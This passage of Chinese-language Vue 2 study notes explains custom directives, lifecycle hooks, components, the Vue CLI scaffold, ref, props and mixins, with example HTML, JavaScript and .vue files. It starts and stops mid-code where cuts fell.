			n: 1
		},
		directives: {

			//指令名如果是多个单词,别忘了加"",方法内部放的是"key",value值,大部分情况""可省略,但加了-之后引号必须带。
			// 全写是: 'big-number':function(element,binding){} 
			/* 'big-number'(element,binding){
				// console.log('big')
				element.innerText = binding.value * 10
			}, */

			// big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
			big(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
				console.log(element, binding)
				// console.log('big', this) 
				//注意此处的this是window
				element.innerText = binding.value * 10
			},
			fbind: {
				//指令与元素成功绑定时(一上来)调用
				bind(element, binding) {//两个参数:当前DOM元素(input),本次绑定的所有信息
					element.value = binding.value
				},
				//指令所在元素被插入页面时调用
				inserted(element, binding) {
					element.focus()
					// input输入框自动获取焦点,这句代码必须放在将input放入页面的后面
				},
				//指令所在的模板被重新解析时调用
				update(element, binding) {
					element.value = binding.value
					element.focus()
				}
			}
		}
	})

</script>

</html>

19、生命周期

生命周期:
	1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
	2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
	3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
	4.生命周期函数中的this指向是vm 或 组件实例对象。这意味着你不能使用箭头函数来定
            义一个生命周期方法 (例如 created: () => this.fetchTodos())。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZvHp2pB8-1645084242279)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220206125146511.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6uVUeo9D-1645084242280)(D:\BaiduNetdiskDownload\黑马v7\尚硅谷Vue技术全家桶(天禹老师主讲)\资料(含课件)\02_原理图\生命周期.png)]

下方代码如果将定时器放入methods会出错

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>引出生命周期</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>				
	<!-- 准备好一个容器-->
		<div id="root">
		<h2 :style="{opacity:opacity}">欢迎学习Vue</h2>
		<button @click="opacity = 1">透明度设置为1</button>
		<button @click="stop">点我停止变换</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			opacity: 1
		},
		methods: {
			stop() {
				this.$destroy()
			}
		},
            //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted(挂载),只是初始
            //化的时候调用了一次,后续数据更改重新解析模板时不会再次调用
		mounted() {
			console.log('mounted', this)
			this.timer = setInterval(() => {
				// 这里箭头函数无this,自动寻找上下文this,找到了mounted()的this,这个this指向vm
				console.log('setInterval')
				this.opacity -= 0.01
				if (this.opacity <= 0) this.opacity = 1
			}, 16)
		},
		beforeDestroy() {-
			console.log('vm即将被销毁')
			clearInterval(this.timer)
			// 清除定时器
		},
	})

	//通过外部的定时器实现(不推荐)
	// setInterval(() => {
	// 	vm.opacity -= 0.01
	// 	if (vm.opacity <= 0) { vm.opacity = 1 }
	// }, 16)
</script>
</html>

1.分析生命周期

1.创建与挂载阶段:找到模板开始解析成虚拟dom,然后转换成真是dom再放入页面

初始化显示 
* beforeCreate() 
* created() 
* beforeMount() 
* mounted()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hNTkea4p-1645084242281)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220206144322278.png)]

2.更新:当data改变,会循环调用

更新状态: this.xxx = value 
* beforeUpdate() 
* updated()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QAB7pLS5-1645084242282)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220206145645083.png)]

3.销毁:销毁前数据可用但不监视,销毁后不重要

销毁 vue 实例: vm.$destory() 
* beforeDestory() 
* destoryed()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-165MgDO8-1645084242283)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220206203004278.png)]

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>分析生命周期</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root" :x="n">
		<h2 v-text="n"></h2>
		<h2>当前的n值是:{{n}}</h2>
		<button @click="add">点我n+1</button>
		<button @click="bye">点我销毁vm</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		// template: `
		// 	<div>
		// 		<h2>当前的n值是:{{n}}</h2>
		// 		<button @click="add">点我n+1</button>
		// 	</div>
		// `,
		//使用template模板,容器内就不用放入内容了,不过template模板解析的时候会将外面的root容器给覆盖掉。
		// 而且template模板只能有一个根元素,所以必须用div 将h2与button包裹起来,否则报错
		data: {
			n: 1
		},
		methods: {
			add() {
				console.log('add')
				this.n++
			},
			bye() {
				console.log('bye')
				this.$destroy()
				// 调用销毁函数,但之前的工作成果还在,只是以后不能管理了
			}
		},
		watch: {
			n() {
				console.log('n变了')
			}
		},
		beforeCreate() { //看图:这里是指数据代理和数据监测创建之前,不是vm
			console.log('beforeCreate')
			// console.log(this);
			// debugger
			// 此时打开控制台可以看到data中无数据,无methods方法
		},
		created() {
			console.log('created')
			// console.log(this);
			// debugger
			// 此时打开控制台可以看到data中有数据,有add,bye方法
		},
		beforeMount() {
			console.log('beforeMount')
			// console.log(this);
			// debugger
			// 元素都加载完成(未经编译),但还没有挂载上去,HTML的body结构里呈现的依然是模板
			// 在这里面操作DOM白操作,最终会被虚拟dom转换成的真实dom覆盖掉
		},
		mounted() {
			console.log('mounted')
			// console.log(this);
			// debugger
			// 元素都加载完成(编译完成),已经挂载上去了,HTML的body结构里呈现的你想让他呈现的样子
			// 在这里面操作DOM有效,但不推荐
		},
		beforeUpdate() {
			console.log('beforeUpdate')
			// console.log(this.n);
			// debugger
			// 更新数据时调用,数据为新的,但页面还是旧的,尚未更新
		},
		updated() {
			console.log('updated')
			// console.log(this.n);
			// debugger
			// 数据为新的,但页面也是新的,数据与页面保持同步
		},
		beforeDestroy() {
			console.log('beforeDestroy')
			// console.log(this.n);
			// this.add()
			// debugger
                        //销毁阶段触发
			// 点击销毁vm,能打印出n,调用了add方法,但页面不再更新,即到了这个阶段,
                        //能够访问到数据,调用方法, 但所有对数据的修改不会再触发更新了。
			// 此时vm中的data methods 指令等都处于可用状态,马上要执行销毁过程,
			// 一般在此阶段:关闭定时器,取消订阅消息,解绑自定义事件等收尾操作

		},
		destroyed() {
                         //销毁阶段触发
			console.log('destroyed')
		},
	})
	// vm.$mount("#root")
</script>

</html>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wkqhk4PU-1645084242283)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220206140007343.png)]

三、Vue组件化编程

1、模块与组件、模块化与组件化

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o82EM1Sd-1645084242284)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220206222647576.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SFrUJJXH-1645084242284)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220206222745213.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yg5KzO4c-1645084242285)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220206222834638.png)]

1.模块

  • 理解:向外提供特定功能的js程序,一般就是一个js文件
  • 为什么:js文件很多很复杂
  • 作用:复用js,简化js的编写,提高js运行效率

2.组件

  • 理解:用来实现局部(特定)功能效果的代码集合(html/css/js/image……)
  • 为什么:一个界面的功能很复杂
  • 作用:复用编码,简化项目编码,提高运行效率

3.模块化

当应用中的js都以模块来编写的,那这个应用就是一个模块化的应用。

4.组件化

当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用。

2、非单文件组件

  1. 模板编写没有提示
  2. 没有构建过程,无法将ES6转换成ES5
  3. 不支持组件的CSS
  4. 真正开发中几乎不用

1.非单文件组件的基本使用

	Vue中使用组件的三大步骤:
		一、定义组件(创建组件)
		二、注册组件
		三、使用组件(写组件标签)

	一、如何定义一个组件?
		使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几
                乎一样,但也有点区别;
			1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
			2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
			备注:使用template可以配置组件结构。

	二、如何注册组件?
		1.局部注册:靠new Vue的时候传入components选项
		2.全局注册:靠Vue.component('组件名',组件)

	三、编写组件标签(来实现组件复用)<school></school> <student></student> <hello></hello>

-----------------------------------------------------------------
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>基本使用</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<hello></hello>
		<hr>
		<h1>{{msg}}</h1>
		<hr>
		<!-- 第三步:编写组件标签 -->
		<school></school>
		<hr>
		<!-- 第三步:编写组件标签 -->
		<student></student>
		<student></student>
	</div>

	<div id="root2">
		<hello></hello>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	//第一步:创建school组件
	const school1 = Vue.extend({
    // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
		template: `
				<div class="demo">
					<h2>学校名称:{{schoolName}}</h2>
					<h2>学校地址:{{address}}</h2>
					<button @click="showName()">点我提示学校名</button>	
				</div>
			`,
		data() {//写成函数
			return {
				schoolName: '尚硅谷',
				address: '北京昌平'
			}
		},
		methods: {
			showName() {
				alert(this.schoolName)
			}
		},
	})

	//第一步:创建student组件
	const student1 = Vue.extend({
		template: `
				<div>
					<h2>学生姓名:{{studentName}}</h2>
					<h2>学生年龄:{{age}}</h2>
				</div>
			`,
		data() {
			return {
				studentName: '张三',
				age: 18
			}
		}
	})

	//第一步:创建hello组件
	const hello1 = Vue.extend({
		template: `
				<div>	
					<h2>你好啊!{{name}}</h2>
				</div>
			`,
		data() {
			return {
				name: 'Tom'
			}
		}
	})

	//第二步:全局注册组件
	Vue.component('hello', hello1)

	//创建vm
	new Vue({
		el: '#root',
		data: {
			msg: '你好啊!'
		},
		//第二步:注册组件(局部注册)
		components: {
			school: school1,
			student: student1
			// 组件名:中转变量,如果组件名和中转变量一致如school:school则可以写为school
		}
	})

	new Vue({
		el: '#root2',
	})
</script>
</html>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ig4sJeK6-1645084242286)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220207023932633.png)]

2.组件的几个注意点

几个注意点:
	1.关于组件名:
		一个单词组成:
			第一种写法(首字母小写):school
			第二种写法(首字母大写):School
		多个单词组成:
			第一种写法(kebab-case命名)"my-school"
			第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
	备注:
		(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
		(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
	2.关于组件标签:
		第一种写法:<school></school>
		第二种写法:<school/>
		备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
        3.一个简写方式:
		const school = Vue.extend(options) 可简写为:const school = options
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>几个注意点</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<school></school>
	</div>
</body>
<script type="text/javascript">
	Vue.config.productionTip = false

	//定义组件
	const s = {
		name: 'atguigu',
		template: `
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
				</div>
			`,
		data() {
			return {
				name: '尚硅谷',
				address: '北京'
			}
		}
	}
	new Vue({
		el: '#root',
		components: {
			"school": s
		}
	})
</script>
</html>

3.组件的嵌套

子组件要在父组件之前定义
子组件在哪里注册,就在哪里添加模板
root>app>自定义组件
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>组件的嵌套</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">

	</div>
</body>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	//定义student组件
	const student = Vue.extend({
		name: 'student',
		template: `
				<div>
					<h2>学生姓名:{{name}}</h2>	
					<h2>学生年龄:{{age}}</h2>	
				</div>
			`,
		data() {
			return {
				name: 'pink老师',
				age: 18
			}
		}
	})
	//定义school组件
	const school = Vue.extend({
		name: 'school',
		template: `
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<student></student>
				</div>
			`,
		data() {
			return {
				name: '尚硅谷',
				address: '北京'
			}
		},
		//注册组件(局部)
		components: {
			student
		}
	})

	//定义hello组件
	const hello = Vue.extend({
		template: `<h1>{{msg}}</h1>`,
		data() {
			return {
				msg: '欢迎来到尚硅谷学习!'
			}
		}
	})

	//定义app组件
	const app = Vue.extend({
		template: `
				<div>	
					<hello></hello>
					<school></school>
				</div>
			`,
		components: {
			school,
			hello
		}
	})

	//创建vm
	new Vue({
		template: '<app></app>',
		el: '#root',
		//注册组件(局部)
		components: { app }
	})
</script>
</html>

4.VueComponent

关于VueComponent:
   1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

   2.我们只需要写<school/><school></school>,Vue解析时会帮我们创建school组件的实例对象,
	  即Vue帮我们执行的:new VueComponent(options)3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

   4.关于this指向:
	(1).组件配置中:
	  data函数、methods中的函数、watch中的函数、computed中的函数 ,它们的this均是【VueComponent实例对象】。
	(2).new Vue(options)配置中:
	  data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

   5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
    Vue的实例对象,以后简称vm。vm管理着vc

如图所示:打印出vm,展开,$children中包含着两个vc[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GsR1fic8-1645084242288)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220207121407368.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1GW59p0-1645084242288)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220207121431127.png)]

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>VueComponent</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<school></school>
		<hello></hello>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	//定义school组件
	const school = Vue.extend({
		name: 'school',
		template: `
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showName()">点我提示学校名</button>
				</div>
			`,
		data() {
			return {
				name: '尚硅谷',
				address: '北京'
			}
		},
		methods: {
			showName() {
				console.log('showName:', this)
			}
		},
	})

	const test = Vue.extend({
		template: `<span>atguigu</span>`
	})

	//定义hello组件
	const hello = Vue.extend({
		template: `
				<div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div>
			`,
		data() {
			return {
				msg: '你好啊!'
			}
		},
		components: { test }
	})
	// console.log('@',school)
	// console.log('#',hello)

	//创建vm
	const vm = new Vue({
		el: '#root',
		components: { school, hello }
	})
	console.log(vm);
</script>

</html>

5.一个重要的内置关系

1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RW2qr95Q-1645084242289)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220207130055206.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zz4XL6pS-1645084242290)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220207130305506.png)]

Vue构造函数:
Vue构造函数的prototype是Vue的原型对象

vm(Vue构造函数构造的实例对象):
vm对象的原型等于其构造函数的prototype,即是Vue的prototype,即指向Vue的原型对象:vm.__proto__===Vue.prototype

Vue的原型对象的原型:
即Vue.prototype.__proto__等于其构造函数的prototype:Vue.prototype.__proto__===Object.prototype

VueComponent构造函数:
VueComponent构造函数的prototype是VueComponent的原型对象

vc(VueComponent构造函数构造的实例对象):
vc对象的原型等于其构造函数的prototype,即是VueComponent的prototype,即指向VueComponent的原型对象:

最后,强行改变VueComponent原型对象的.__proto__指向,让其指向从Object原型对象到Vue的原型对象
VueComponent.prototype.__proto__ === Vue.prototype
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>一个重要的内置关系</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<school></school>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	Vue.prototype.x = 99

	//定义school组件
	const school = Vue.extend({
		name: 'school',
		template: `
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showX">点我输出x</button>
				</div>
			`,
		data() {
			return {
				name: '尚硅谷',
				address: '北京'
			}
		},
		methods: {
			showX() {
				console.log(this.x)
			}
		},
	})

	console.log(school.prototype.__proto__ === Vue.prototype)
	console.dir(school)
	

	//创建一个vm
	const vm = new Vue({
		el: '#root',
		data: {
			msg: '你好'
		},
		components: { school }
	})

	//定义一个构造函数
	/*	function Demo() {
			this.a = 1
			this.b = 2
		}
		//创建一个Demo的实例对象
		const d = new Demo()

		console.log(Demo.prototype) //显示原型属性,只有函数拥有
		// 这两个原型属性的地址都指向原型对象
		console.log(d.__proto__) //隐式原型属性,对象拥有

		console.log(Demo.prototype === d.__proto__)

		//程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
		Demo.prototype.x = 99
		// 顺着这条线放东西
		console.log("输出:", d.__proto__.x)
		// 顺着这条线取东西

		console.log('@', d)
	*/
</script>

</html>

3、单文件组件

大体结构是这样的:
image.png

<v 加enter能够快速生成模板 此处需修改vue.json

1.组件项目

index(页面)→main.js(主VM)→app.vue(主要注册组件)→School.vue,Student.vue(功能组件)

School.vue文件
<template>
    <!-- 必须有一个根标签 -->
  <div class="demo">
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
    <button @click="showName">点我提示学校名</button>
  </div>
</template>
//  <v 加enter能够快速生成模板
<script>
	 export default Vue.extend({ //可省略Vue.extend()
		name:'School',//定义Chrome工具栏Vue工具组件名称
		data(){
			return {
				name:'尚硅谷',
				address:'北京昌平'
			}
		},
		methods: {
			showName(){
				alert(this.name)
			}
		},
	})
</script>

<style>
	.demo{
		background-color: orange;
	}
</style>
Student.vue文件
<template>
	<div>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生年龄:{{age}}</h2>
	</div>
</template>

<script>
	 export default {
		name:'Student',
		data(){
			return {
				name:'张三',
				age:18
			}
		}
	}
</script>
App.vue文件
// 创建一个App.vue文件汇总其余组件,将其余vue中创建的组件注册并且编写组件标签
<template>
  <div>
    <School></School>
    <Student></Student>
    <!-- 编写组件标签 -->
  </div>
</template>
<script>
//引入组件
import School from "./School.vue";
import Student from "./Student.vue";
export default {
  name: "App",
  components: {
    //注册组件
    School,
    Student,
  },
};
</script>
<style>
</style>
main.js文件
import App from './App.vue'
// 在main.js文件中创建vue实例vm,并引入最高级的App.vue文件
new Vue({
	el: '#root',
	template: `<App></App>`,
	components: { App },
})
index.html文件,准备一个容器
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>练习一下单文件组件的语法</title>
</head>
<body>
	<!-- 准备一个容器 -->
	<div id="root"></div>
        //引入script标签在body的最下方,并且优先引入Vue
	<script type="text/javascript" src="../js/vue.js"></script>
	<script type="text/javascript" src="./main.js"></script>
</body>
</html>

4、脚手架

1.初始并运行脚手架

  1. Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)
  2. 文档: https://cli.vuejs.org/zh/。
第一步(仅第一次执行):全局安装@vue/cli。 
npm install -g @vue/cli 
第二步:切换到你要创建项目的目录,然后使用命令创建项目 
vue create xxxx
第三步:启动项目
npm run serve
备注: 1. 如出现下载缓慢请配置 npm 淘宝镜像:
npm config set registry https://registry.npm.taobao.org
	  2. Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpakc 配置, 
	  请执行:vue inspect > output.js
	  3. babel :ES6 ===>ES5
		 eslint:语法检查

2.分析脚手架

npm run server→ src/main.js→ app.vue→ 子组件.vue

├── node_modules:各种包,库,插件
├── public
│   ├── favicon.ico: 页签图标
│   └── index.html: 主页面
├── src
│   ├── assets: 存放静态资源
│   │   └── logo.png
│   │── component: 存放组件
│   │   └── HelloWorld.vue
│   │── App.vue: 汇总所有组件
│   │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件 
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件

3.关于不同版本的Vue

脚手架

node_module/vue/package.json中第6行"module" : "dist/vue.runtime.esm.js"指定VUE使用版本

  1. vue.js与vue.runtime.xxx.js的区别:
    1. vue.js是完整版的Vue,包含:核心功能 + 模板解析器。
    2. vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。
  2. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template这个配置项,需要使用render函数接收到的createElement函数去指定具体内容。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ChUcZNIZ-1645084242292)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220208214816133.png)]

实践:总是使用非完整版,然后配合 vue-loader 和 vue 文件

  • 保证用户体验,用户下载的 js 文件体积更小,但只支持 h 函数.
  • 保证开发体验,开发者可以直接在 vue 里面写 HTML标签,而不写 h 函数.
  • vue-loader 可以把 vue 文件里的 HTML,转为 h 函数

4.vue.config.js配置文件

  1. 使用vue inspect > output.js可以查看到Vue脚手架的默认配置,但无法更改。文件标红错误在最外面加上const a ={},在output.js文件中
  2. 在根目录建立vue.config.js文件可以对脚手架进行个性化定制,详情见:

VueCLI配置参考

5.使用脚手架构造出来的默认文件

index.html

<!DOCTYPE html>
<html lang="">

<head>
  <meta charset="utf-8">
  <!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <!-- 开启移动端的理想视口 -->
  <meta name="viewport" content="width=device-width,initial-scale=1.0">
  <!-- 配置页签图标 <%= BASE_URL %>代替./是当前目录下的图标-->
  <link rel="icon" href="<%= BASE_URL %>favicon.ico">
  <!-- 引入第三方样式 -->
  <link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
  <!-- 配置网页标题 -->
  <title>硅谷系统</title>
</head>

<body>
  <!-- 当浏览器不支持js时noscript中的元素就会被渲染 -->
  <noscript>
    <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled.
        Please enable it to continue.</strong>
  </noscript>
  <!-- 容器 -->
  <div id="app"></div>
  <!-- built files will be auto injected -->
</body>
</html>

main.js

/* 
  该文件是整个项目的入口文件
*/
//引入Vue
// import Vue from 'vue/dist/vue'
//引入完整版
import Vue from 'vue'
// 引入运行时版本
//引入App组件,它是所有组件的父组件
import App from './App.vue'
//关闭vue的生产提示
Vue.config.productionTip = false

/* 
  关于不同版本的Vue:
	
    1.vue.js与vue.runtime.xxx.js的区别:
        (1).vue.js是完整版的Vue,包含:核心功能+模板解析器。
        (2).vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。

    2.因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用
      render函数接收到的createElement函数去指定具体内容。
*/

//创建Vue实例对象---vm
new Vue({
  el: '#app',
  /*
  render(createElement) {
    return createElement('h1', '你好啊')
    // return console.log(typeof createElement);
    // 打印出的createElement是函数
  },
  简写:
    render:createElement=>createElement('h1', '你好啊'),
  再简化:
    render:q=> q('h1','你好啊')
  */
  
  //render函数完成了这个功能:将App组件放入容器中
  render: h => h(App),

  // template: `<App></App>`, 运行版本的vue, main.js不能写模板
  // components: { App },
})

6.ref属性

被用来给元素或子组件注册引用信息(id的替代者)

应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)

使用方式:

  1. 打标识:<h1 ref="xxx">.....</h1><School ref="xxx"></School>
  2. 获取:this.$refs.xxx

App.vue:

<template>
	<div>
		<h1 v-text="msg" ref="title"></h1>
		<button ref="btn" @click="showDOM">点我输出上方的DOM元素</button>
		<School ref="sch"/>
	</div>
</template>

<script>
	//引入School组件
	import School from './components/School'

	export default {
		name:'App',
		components:{School},
		data() {
			return {
				msg:'欢迎学习Vue!'
			}
		},
		methods: {
			showDOM(){
				console.log(this.$refs.title) //真实DOM元素
				console.log(this.$refs.btn) //真实DOM元素
				console.log(this.$refs.sch) //School组件的实例对象(vc)
			}
		},
	}
</script>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z31cTQYQ-1645084242292)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220209134337202.png)]

7.props配置项

  1. 功能:让组件接收外部传过来的数据

  2. 传递数据:<Demo name="xxx"/>

  3. 接收数据:

    1. 第一种方式(只接收):props:['name']

    2. 第二种方式(限制类型):props:{name:String}

    3. 第三种方式(限制类型、限制必要性、指定默认值):

      props:{
      	name:{
      	type:String, //类型
      	required:true, //必要性
      	default:'老王' //默认值
      	}
      }
      

    备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。

    props中接收的数据会被绑定到组件实例对象vc上,且优先级高于data中的数据,data中的数据属性名字不能与接收的props属性名一致

App.vue:

<template>
  <div>
    <Student name="李四" sex="女" :age="18" />
    <!-- 在组件标签中声明传入属性 
	:即v-bind 将字符串18变为js表达式,使其可以接受加法运算
	-->
  </div>
</template>
<script>
import Student from "./components/Student";
export default {
  name: "App",
  components: { Student },
};
</script>

Student.vue

<template>
  <div>
    <h1>{{ msg }}</h1>
    <h2>学生姓名:{{ name }}</h2>
    <h2>学生性别:{{ sex }}</h2>
    <h2>学生年龄:{{ myAge + 1 }}</h2>
    <button @click="updateAge">尝试修改收到的年龄</button>
  </div>
</template>

<script>
export default {
  name: "Student",
  data() {
    console.log(this);
    return {
      msg: "我是一个尚硅谷的学生",
      myAge: this.age,
       //   props的数据不允许修改,想要改动得到propo的数据放入data中
      //   props的优先级高,data中的this.age是props中接收的数据
    };
  },
  methods: {
    updateAge() {
      this.myAge++;
    },
  },
  //方法一:简单声明接收,放在组件实例对象vc上
  // props:['name','age','sex']

  //方法二:接收的同时对数据进行类型限制,类型如果不符合报错
  /* props:{
			name:String,
			age:Number,
			sex:String
		} */

  //方法三:接收的同时对数据:进行类型限制+默认值的指定+必要性的限制
  props: {
    name: {
      type: String, //name的类型是字符串
      required: true, //name是必要的,有此属性一般不需要加默认值
    },
    age: {
      type: Number,
      default: 99, //默认值,即如果不传此属性则使用默认值
    },
    sex: {
      type: String,
      required: true,
    },
  },
};
</script>

程序运行截图:页面中学生年龄点击增加,控制台中data中的属性myAge改变,props中age属性不变[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tzkG4My9-1645084242293)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220209153345925.png)]

8.mixin(混入)

  1. 功能:可以把多个组件共用的配置提取成一个混入对象

  2. 使用方式:

    第一步定义混合:

    mixin.js

    {
        data(){....},
        methods:{....}
        ....
    }
    

    第二步使用混入:

    使用前需要import导入
    全局混入:Vue.mixin(xxx)放在main.js文件中,所有vm,vc都能得到混入的属性
    
    局部混入:mixins:['xxx']放在需要的文件中,在此文件中得到混入的属性
    
    如果混入与自身有同名属性,自身属性优先级高,会覆盖掉混入属性
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4ikK5OqU-1645084242294)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220209160701314.png)]

    School.vue

    <template>
      <div>
        <h2 @click="showName">学校名称:{{ name }}</h2>
        <h2>学校地址:{{ address }}</h2>
      </div>
    </template>
    
    <script>
    //引入一个hunhe
    // import {hunhe,hunhe2} from '../mixin'
    
    export default {
      name: "School",
      data() {
        return {
          name: "尚硅谷",
          address: "北京",
          x: 666,
          // 如果混入与自身有同名属性。自身属性优先级高
        };
      },
      // mixins:[hunhe,hunhe2],
    };
    </script>
    

    Student.vue

    <template>
      <div>
        <h2 @click="showName">学生姓名:{{ name }}</h2>
        <h2>学生性别:{{ sex }}</h2>
      </div>
    </template>
    
    <script>
    //局部混合:
    // import {hunhe,hunhe2} from '../mixin'
    
    export default {
      name: "Student",
      data() {
        return {
          name: "张三",
          sex: "男",
        };
      },
      // mixins:[hunhe,hunhe2]
    };
    </script>
    

    App.vue

    <template>
    	<div>
    		<School/>
    		<hr>
    		<Student/>
    	</div>
    </template>
    <script>
    	import School from './components/School'
    	import Student from './components/Student'
    
    	export default {
    		name:'App',
    		components:{School,Student}
    	}
    </script>
    

    main.js

    //引入Vue
